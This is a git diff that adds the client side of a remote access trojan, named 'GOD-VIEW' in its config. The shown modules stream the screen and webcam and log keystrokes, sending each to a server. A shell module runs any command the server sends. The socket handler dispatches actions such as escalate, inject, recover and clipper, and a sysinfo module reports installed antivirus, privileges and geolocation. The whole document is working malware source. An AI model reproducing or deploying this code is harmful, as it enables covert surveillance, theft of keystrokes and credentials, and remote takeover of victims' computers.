+ def __grab(self, monitor):
+ with mss.mss() as sct:
+ size = sct.monitors[monitor]
+
+ while True:
+ screenshot = sct.grab(size)
+ screenshot = mss.tools.to_png(screenshot.rgb,
+ screenshot.size)
+ self.__queue.put(screenshot,
+ timeout=Static.LIVE_TIMEOUT)
+
+ @Error.quiet_thread
+ def __send(self):
+ with socket.create_connection(
+ (Static.IP, Static.PORT)) as sock:
+ Data.send(sock, self.token)
+ Data.recv(sock)
+
+ while True:
+ Data.send(sock, self.__queue.get(
+ timeout=Static.LIVE_TIMEOUT), False)
+ Data.recv(sock)
+
+ def live(self, monitor):
+ Helper.thread(self.__send)
+ Helper.thread(self.__grab, monitor)
diff --git a/client/modules/keylogger.py b/client/modules/keylogger.py
new file mode 100644
index 0000000..9911db5
--- /dev/null
+++ b/client/modules/keylogger.py
@@ -0,0 +1,85 @@
+'''
+ Creates a connection to the server, sending the
+ keystrokes pressed, with attached timestamps in
+ intervals.
+
+ Verified: 2021 February 6
+ * Follows PEP8
+ * Tested Platforms
+ * Windows 10
+ * Third Party Modules
+ * pynput
+'''
+
+from client.modules.module import Module
+from shared.helper import Helper
+from shared.state import Static
+from shared.error import Error
+from shared.data import Data
+
+import socket
+import pynput
+import time
+import re
+
+
+class Keylogger(Module):
+
+ __INTERVAL = Static.LIVE_TIMEOUT / 2
+
+ def __init__(self, token):
+ super().__init__(token)
+ self.__listener = pynput.keyboard.Listener(
+ on_press=self.__press)
+ self.__listener.start()
+ self.__first = True
+ self.__keys = ''
+
+ def __press(self, key):
+ key = str(key)
+
+ if key == 'Key.enter':
+ key = f'\n{Helper.timestamp()}:'
+ else:
+ if key == 'Key.space':
+ key = ' '
+ elif key.startswith('Key.'):
+ key = key[4:]
+ else:
+ if re.search(r'^\[.*]$', key):
+ key = key[1:-1]
+
+ if re.search('^\'.*\'$', key):
+ key = key[1:-1]
+ elif re.search('^".*"$', key):
+ key = key[1:-1]
+ elif re.search('^<.*>$', key):
+ key = key[1:-1]
+
+ if len(key) > 1:
+ key = f'[{key.upper()}]'
+
+ if self.__first:
+ self.__first = False
+ key = f'{Helper.timestamp()}:{key}'
+
+ self.__keys += key
+
+ @Error.quiet_thread
+ def __send(self):
+ try:
+ with socket.create_connection(
+ (Static.IP, Static.PORT)) as sock:
+ Data.send(sock, self.token)
+ Data.recv(sock)
+
+ while True:
+ keys, self.__keys = self.__keys, ''
+ Data.send(sock, keys)
+ Data.recv(sock)
+ time.sleep(Keylogger.__INTERVAL)
+ finally:
+ self.__listener.stop()
+
+ def live(self):
+ Helper.thread(self.__send)
diff --git a/client/modules/module.py b/client/modules/module.py
new file mode 100644
index 0000000..14c6fea
--- /dev/null
+++ b/client/modules/module.py
@@ -0,0 +1,20 @@
+'''
+ A class used by all modules, for the simple
+ reason that every module requires a token.
+ it's easily extensible for future reference.
+
+ Verified: 2021 February 6
+ * Follows PEP8
+ * Tested Platforms
+ * Windows 10
+'''
+
+
+class Module:
+
+ def __init__(self, token):
+ self.__token = token
+
+ @property
+ def token(self):
+ return self.__token
diff --git a/client/modules/webcam.py b/client/modules/webcam.py
new file mode 100644
index 0000000..ddda802
--- /dev/null
+++ b/client/modules/webcam.py
@@ -0,0 +1,81 @@
+'''
+ Creates a connection to the server, sending a stream
+ of snapshots from the specified monitor. Splitting
+ up the work in to two threads, one for taking the
+ snapshot, the other to send it.
+
+ Verified: 2021 February 6
+ * Follows PEP8
+ * Tested Platforms
+ * Windows 10
+ * Third Party Modules
+ * mss
+'''
+
+from client.modules.module import Module
+from client.state import ClientStatic
+from shared.helper import Helper
+from shared.state import Static
+from shared.error import Error
+from shared.data import Data
+
+import mss.tools
+import socket
+import queue
+import mss
+
+
+class Capture:
+
+ def __init__(self, device):
+ self.__device = device
+ self.__alive = True
+
+ @property
+ def device(self):
+ return self.__device
+
+ @property
+ def alive(self):
+ return self.__alive
+
+ def kill(self):
+ self.__alive = False
+
+
+class Webcam(Module):
+
+ __MAX_SIZE = 1
+
+ def __init__(self, token):
+ super().__init__(token)
+ self.__queue = queue.Queue(Webcam.__MAX_SIZE)
+ self.__device = ClientStatic.WEBCAM[token]
+
+ @Error.quiet
+ def __del__(self):
+ self.__device.kill()
+
+ @Error.quiet_thread
+ def __grab(self):
+ while True:
+ buffer, width, height = self.__device.device.getbuffer()
+ snapshot = mss.tools.to_png(buffer, (width, height))
+ self.__queue.put(snapshot,
+ timeout=Static.LIVE_TIMEOUT)
+
+ @Error.quiet_thread
+ def __send(self):
+ with socket.create_connection(
+ (Static.IP, Static.PORT)) as sock:
+ Data.send(sock, self.token)
+ Data.recv(sock)
+
+ while True:
+ Data.send(sock, self.__queue.get(
+ timeout=Static.LIVE_TIMEOUT), False)
+ Data.recv(sock)
+
+ def live(self):
+ Helper.thread(self.__send)
+ Helper.thread(self.__grab)
diff --git a/client/shell.py b/client/shell.py
new file mode 100644
index 0000000..07b7450
--- /dev/null
+++ b/client/shell.py
@@ -0,0 +1,70 @@
+'''
+ Handles the running of commands in
+ the terminal. Timeouts, encoding &
+ returning the correct data.
+
+ Verified: 2021 February 6
+ * Follows PEP8
+ * Tested Platforms
+ * Windows 10
+ * Third Party Modules
+ * psutil
+'''
+
+from client.state import ClientStatic
+from client.error import ClientError
+from shared.state import Static
+from shared.error import Error
+from shared.data import Data
+
+import subprocess
+import threading
+import psutil
+import os
+
+
+class Shell:
+
+ @staticmethod
+ @ClientError.general
+ def run(data, disable_stderr=False):
+ if Static.WINDOWS:
+ data = f'chcp {ClientStatic.CODE_PAGE} > nul && {data}'
+
+ process_timer = threading.Timer(ClientStatic.TIMEOUT,
+ Shell.__timeout)
+ process_timer.start()
+
+ process = subprocess.run(data, shell=True,
+ encoding=Static.ENCODING,
+ errors=Static.ERRORS,
+ stdin=subprocess.DEVNULL,
+ stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE)
+
+ if process_timer.is_alive():
+ process_timer.cancel()
+
+ if disable_stderr:
+ if process.returncode == 0:
+ return process.stdout.strip('\r\n')
+ else:
+ return ClientStatic.DEFAULT
+ else:
+ return Data.parse(''.join((
+ process.stdout,
+ process.stderr
+ )).strip('\r\n'), raw=True)
+ else:
+ raise TimeoutError('Timeout Awaiting Shell Response')
+
+ @staticmethod
+ @Error.quiet
+ def __timeout():
+ # NOTE : Works well, only lists the
+ # cmd.exe & the subprocess, for example
+ # vim.exe. Does not disturb the other
+ # threads the client is running
+ for child in psutil.Process(
+ os.getpid()).children(True):
+ child.kill()
diff --git a/client/socket.py b/client/socket.py
new file mode 100644
index 0000000..26b32c5
--- /dev/null
+++ b/client/socket.py
@@ -0,0 +1,119 @@
+'''
+ Handles the initial connection to the server,
+ adjusting the server settings, sending the
+ initial client information & directing
+ actions based on server requests.
+
+ Verified: 2020 December 30 & 2021 February 6
+ * Follows PEP8
+ * Tested Platforms
+ * Windows 10
+'''
+
+from client.error import ClientError, ReconnectError
+from client.sysinfo import Sysinfo, Interval, Shell
+from client.helper import ClientHelper
+from client.state import ClientStatic
+from shared.state import Static
+from shared.data import Data
+import client.action
+
+import socket
+import sys
+import os
+
+
+class ClientSocket:
+
+ __CD = 'cd'
+ __CD_LENGTH = len(__CD)
+ __RAW_LENGTH = len(Static.RAW)
+ __EVENTS = (
+ 'screenshot',
+ 'clipboard',
+ 'keylogger',
+ 'autostart',
+ 'download',
+ 'escalate',
+ 'snapshot',
+ 'process',
+ 'recover',
+ 'sysinfo',
+ 'desktop',
+ 'clipper',
+ 'webcam',
+ 'python',
+ 'upload',
+ 'inject',
+ 'system',
+ 'browse',
+ 'audio',
+ 'alert'
+ )
+
+ def connect(self):
+ with socket.create_connection((Static.IP, Static.PORT)) as sock:
+ Data.send(sock, None)
+
+ collect, ClientStatic.STICKY = [
+ bool(setting) for setting in Data.recv(sock)]
+
+ if collect:
+ Data.send(sock, Sysinfo().collect())
+ else:
+ Data.send(sock, Data.message())
+
+ while True:
+ data = self.__response(Data.recv(sock))
+
+ if data == Static.DISCONNECT:
+ sys.exit()
+ elif data == Static.RECONNECT:
+ raise ReconnectError
+ elif data == Static.UNINSTALL:
+ ClientHelper.uninstall()
+ else:
+ Data.send(sock, data)
+
+ def __response(self, request):
+ message, lower = Data.lower(request)
+
+ if message in (Static.INTERVAL, Static.ALIVE):
+ if Static.WINDOWS:
+ if ClientStatic.WEBCAM:
+ # NOTE : The VideoCapture library does
+ # not allow freeing of vidcap.new_Dev
+ # instance in a thread, as this will
+ # deadlock the entire program. This
+ # makes sure it's cleaned up when the
+ # webcam deconstructor is called
+ for key, capture in \
+ ClientStatic.WEBCAM.copy().items():
+ if not capture.alive:
+ del ClientStatic.WEBCAM[key]
+
+ if message == Static.INTERVAL:
+ return Interval.collect()
+ else:
+ return ''
+ elif message in (Static.DISCONNECT,
+ Static.RECONNECT,
+ Static.UNINSTALL):
+ return message
+ elif lower[:ClientSocket.__CD_LENGTH] == ClientSocket.__CD:
+ return self.__cd(message)
+ elif lower[:ClientSocket.__RAW_LENGTH] == Static.RAW:
+ if lower[ClientSocket.__RAW_LENGTH:ClientSocket.__RAW_LENGTH
+ + ClientSocket.__CD_LENGTH] == ClientSocket.__CD:
+ return self.__cd(message[ClientSocket.__RAW_LENGTH:])
+ else:
+ return Shell.run(message[ClientSocket.__RAW_LENGTH:])
+ elif lower in ClientSocket.__EVENTS:
+ return getattr(client.action, lower)(request)
+ else:
+ return Shell.run(message)
+
+ @ClientError.general
+ def __cd(self, message):
+ os.chdir(message[ClientSocket.__CD_LENGTH:].strip())
+ return Data.parse(f'New directory: {os.getcwd()}', status=Static.INFO)
diff --git a/client/state.py b/client/state.py
new file mode 100644
index 0000000..7541bf5
--- /dev/null
+++ b/client/state.py
@@ -0,0 +1,47 @@
+'''
+ Variables that has important impact on during
+ the execution during runtime. These should be
+ set prior to building out the client.
+
+ Verified: 2020 December 30 & 2021 February 6
+ * Follows PEP8
+ * Tested Platforms
+ * Windows 10
+'''
+
+from shared.state import Static
+
+
+class ClientStatic:
+
+ BUILD_NAME = 'Production Build'
+ BUILD_VERSION = '1.0.0'
+ # NOTE : Applies to pre-connect
+ STICKY = True
+
+ # NOTE : Don't change
+ DEFAULT = 'Unkown'
+
+ @classmethod
+ def setup(cls):
+ if Static.WINDOWS:
+ # NOTE : Don't change
+ cls.WEBCAM = {}
+
+ cls.NAME = 'GOD-VIEW'
+ cls.CODE_PAGE = '65001'
+
+ # NOTE : Don't change
+ if Static.TIMEOUT > 7.5:
+ cls.TIMEOUT = Static.TIMEOUT - 2.5
+ else:
+ cls.TIMEOUT = Static.TIMEOUT
+
+ # NOTE : Server IP
+ Static.IP = Static.IP
+ # NOTE : Server port
+ Static.PORT = Static.PORT
+ # NOTE : Server encryption secret
+ Static.SECRET = Static.SECRET
+ # NOTE : Server encryption salt
+ Static.SALT = Static.SALT
diff --git a/client/sysinfo.py b/client/sysinfo.py
new file mode 100644
index 0000000..0f928cd
--- /dev/null
+++ b/client/sysinfo.py
@@ -0,0 +1,256 @@
+'''
+ Collects large amounts of client information,
+ which is sent on initial connection to the
+ server, but also provides interval data.
+
+ Verified: 2020 December 30 & 2021 February 6
+ * Follows PEP8
+ * Tested Platforms
+ * Windows 10
+ * Third Party Modules
+ * GPUtil
+ * psutil
+'''
+
+from client.helper import ClientHelper
+from client.state import ClientStatic
+from shared.state import Static
+from client.shell import Shell
+
+import urllib.request
+import platform
+import getpass
+import GPUtil
+import psutil
+import locale
+import socket
+import json
+import uuid
+import time
+import sys
+import re
+import os
+
+if Static.WINDOWS:
+ import ctypes.wintypes
+ import ctypes
+
+
+class Interval:
+
+ if Static.WINDOWS:
+ class LastInputInfo(ctypes.Structure):
+ _fields_ = [('cbSize', ctypes.c_uint),
+ ('dwTime', ctypes.c_uint)]
+
+ @staticmethod
+ def collect():
+ return {
+ 'active_window': ClientHelper.secure(Interval.__active_window),
+ 'idle_time': ClientHelper.secure(Interval.__idle_time),
+ 'resource_usage': ClientHelper.secure(Interval.__resource_usage)
+ }
+
+ @staticmethod
+ def __active_window():
+ if Static.WINDOWS:
+ window = ctypes.windll.user32.GetForegroundWindow()
+ length = ctypes.windll.user32.GetWindowTextLengthW(window) + 1
+ buffer = ctypes.create_unicode_buffer(length)
+ ctypes.windll.user32.GetWindowTextW(window, buffer, length)
+
+ if buffer.value:
+ return buffer.value
+ else:
+ return 'No Active Window'
+ else:
+ return ClientStatic.DEFAULT
+
+ @staticmethod
+ def __idle_time():
+ if Static.WINDOWS:
+ input_info = Interval.LastInputInfo()
+ input_info.cbSize = ctypes.sizeof(input_info)
+ ctypes.windll.user32.GetLastInputInfo(ctypes.byref(input_info))
+ millis = ctypes.windll.kernel32.GetTickCount() - input_info.dwTime
+ return '{} Minutes'.format(int((millis / (1000 * 60)) % 60))
+ else:
+ return ClientStatic.DEFAULT
+
+ @staticmethod
+ def __resource_usage():
+ return '{}/{}'.format(psutil.cpu_percent(),
+ psutil.virtual_memory().percent)
+
+
+class Sysinfo:
+
+ if Static.WINDOWS:
+ __ANTIVIRUS_CMD = (r'wmic /namespace:\\root\securitycenter2 path'
+ ' antivirusproduct get displayname | more +1')
+ __PC_CMD = 'wmic computersystem get model, manufacturer | more +1'
+
+ __LOCATION_API = 'https://geolocation-db.com/json/'
+ __PRIVILEGES = ('Administrator', 'User')
+
+ def __init__(self):
+ self.__uname = platform.uname()
+
+ def collect(self):
+ return {
+ 'operating_system': ClientHelper.secure(self.__operating_system),
+ 'system_locale': ClientHelper.secure(self.__system_locale),
+ 'system_uptime': ClientHelper.secure(self.__system_uptime),
+ 'build_version': ClientHelper.secure(self.__build_version),
+ 'mac_address': ClientHelper.secure(self.__mac_address),
+ 'privileges': ClientHelper.secure(self.__privileges),
+ 'os_version': ClientHelper.secure(self.__os_version),
+ 'build_name': ClientHelper.secure(self.__build_name),
+ 'antivirus': ClientHelper.secure(self.__antivirus),
+ 'username': ClientHelper.secure(self.__username),
+ 'local_ip': ClientHelper.secure(self.__local_ip),
+ 'timezone': ClientHelper.secure(self.__timezone),
+ 'hostname': ClientHelper.secure(self.__hostname),
+ 'filepath': ClientHelper.secure(self.__filepath),
+ 'running': ClientHelper.secure(self.__running),
+ 'cpu': ClientHelper.secure(self.__cpu),
+ 'gpu': ClientHelper.secure(self.__gpu),
+ 'ram': ClientHelper.secure(self.__ram),
+ **self.__pc_model_manufacturer(),
+ **self.__location()
+ }
+
+ def __location(self):
+ try:
+ response = json.loads(urllib.request.urlopen(
+ Sysinfo.__LOCATION_API).read())
+
+ return dict(zip((
+ 'external_ip',
+ 'country',
+ 'country_code',
+ 'region',
+ 'city',
+ 'latitude',
+ 'longitude',
+ 'zip_code'
+ ), (
+ str(response['IPv4']),
+ str(response['country_name']),
+ str(response['country_code']),
+ str(response['state']),
+ str(response['city']),
+ str(response['latitude']),
+ str(response['longitude']),
+ str(response['postal']))))
+ except Exception:
+ return {
+ 'external_ip': ClientStatic.DEFAULT,
+ 'country': ClientStatic.DEFAULT,
+ 'country_code': ClientStatic.DEFAULT,
+ 'region': ClientStatic.DEFAULT,
+ 'city': ClientStatic.DEFAULT,
+ 'latitude': ClientStatic.DEFAULT,
+ 'longitude': ClientStatic.DEFAULT,
+ 'zip_code': ClientStatic.DEFAULT
+ }
+
+ def __build_name(self):
+ return ClientStatic.BUILD_NAME
+
+ def __build_version(self):
+ return ClientStatic.BUILD_VERSION
+
+ def __filepath(self):
+ return Static.ROOT
+
+ def __username(self):
+ return self.__verify((getpass.getuser(),))
+
+ def __cpu(self):
+ return self.__verify((self.__uname.processor,))
+
+ def __hostname(self):
+ return self.__verify((self.__uname.node,))
+
+ def __os_version(self):
+ return self.__verify((self.__uname.version,))
+
+ def __ram(self):
+ return f'{round(psutil.virtual_memory().total / 1024**3)}GB'
+
+ def __local_ip(self):
+ return socket.gethostbyname(socket.gethostname())
+
+ def __mac_address(self):
+ return ':'.join(re.findall('..', f'{uuid.getnode():012x}'))
+
+ def __system_locale(self):
+ return ', '.join(locale.getdefaultlocale())
+
+ def __timezone(self):
+ return '{} Hours'.format(
+ time.strftime('%z', time.gmtime()))
+
+ def __operating_system(self):
+ return self.__verify((
+ self.__uname.system,
+ self.__uname.release,
+ self.__uname.machine,
+ '64-bit' if sys.maxsize > 2**32 else '32-bit'), ' ')
+
+ def __running(self):
+ return 'Python Version {}.{}.{} {} Release'.format(
+ *sys.version_info[:3], sys.version_info[3].capitalize())
+
+ def __privileges(self):
+ if Static.WINDOWS:
+ if ctypes.windll.shell32.IsUserAnAdmin():
+ return Sysinfo.__PRIVILEGES[0]
+ else:
+ return Sysinfo.__PRIVILEGES[1]
+ else:
+ if os.getuid() == 0:
+ return Sysinfo.__PRIVILEGES[0]
+ else:
+ return Sysinfo.__PRIVILEGES[1]
+
+ def __gpu(self):
+ return self.__verify([gpu.name for gpu in
+ GPUtil.getGPUs()], ', ')
+
+ def __pc_model_manufacturer(self):
+ try:
+ if Static.WINDOWS:
+ return dict(zip(('pc_manufacturer', 'pc_model'), Shell.run(
+ Sysinfo.__PC_CMD, True).strip().split(' ')[:2]))
+ else:
+ raise OSError
+ except Exception:
+ return {
+ 'pc_manufacturer': ClientStatic.DEFAULT,
+ 'pc_model': ClientStatic.DEFAULT
+ }
+
+ def __antivirus(self):
+ if Static.WINDOWS:
+ return ', '.join([av.strip() for av in Shell.run(
+ Sysinfo.__ANTIVIRUS_CMD, True).strip().split('\n\n')])
+ else:
+ return ClientStatic.DEFAULT
+
+ def __system_uptime(self):
+ total = int(time.time() - psutil.boot_time())
+
+ days = divmod(total, 86400)
+ hours = divmod(days[1], 3600)
+ minutes = divmod(hours[1], 60)
+ seconds = divmod(minutes[1], 1)
+
+ return '{} Day{} ({:02}:{:02}:{:02})'.format(
+ days[0], ClientHelper.plural_int(days[0]),
+ hours[0], minutes[0], seconds[0])
+
+ def __verify(self, iterable, join_by=''):
+ return join_by.join([el if el else
+ ClientStatic.DEFAULT for el in iterable])